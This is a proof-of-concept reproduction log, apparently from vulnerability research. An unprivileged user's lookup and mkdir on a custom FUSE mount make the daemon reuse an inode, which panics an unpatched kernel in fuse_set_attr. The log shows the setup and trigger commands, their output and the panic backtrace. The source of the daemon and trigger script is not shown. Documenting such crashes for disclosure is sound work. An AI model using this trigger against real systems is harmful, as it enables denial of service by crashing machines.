=== Decisive reproduction run (unpatched 6.5-DEVELOPMENT #0 kernel) ===

Setup (as root):
  kldload fuse; mkdir -p /mnt/fuse; chmod 755 /mnt/fuse
  pkill -f fusedev; umount /mnt/fuse
  nohup /root/fusedev /mnt/fuse >/root/fusedev.log 2>&1 &
Daemon output:
  [daemon] mounted on /mnt/fuse, fd=3, serving FUSE protocol
Mount table:
  /dev/fuse on /mnt/fuse (fuse, local)

Trigger (as maxx, uid=1001, NOT in wheel):
  sh poc/DF-0926/trigger.sh
Output:
  [trigger] as user: maxx (uid=1001)
  [trigger] looking up /mnt/fuse/baitfile (creates VREG node ino=100)
  /mnt/fuse/baitfile
  [trigger] mkdir /mnt/fuse/crashdir (daemon reuses ino=100 as VDIR -> KKASSERT panic)
  <ssh session dies here — SSH_RC=124 (timeout); guest is down>

Result: kernel panic captured in dfbsd-qemu/boot.log -> panic.txt:
  panic: assertion "vap->va_type == fnp->type" failed in fuse_set_attr
    at /usr/src/sys/vfs/fuse/fuse_vnops.c:81
  fuse_set_attr()      at fuse_set_attr+0x199
  fuse_vop_nmkdir()    at fuse_vop_nmkdir+0x1b3
  vop_nmkdir()         at vop_nmkdir+0x5b
  kern_mkdir()         at kern_mkdir+0xf2
  sys_mkdir()          at sys_mkdir+0x51
  Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
  db>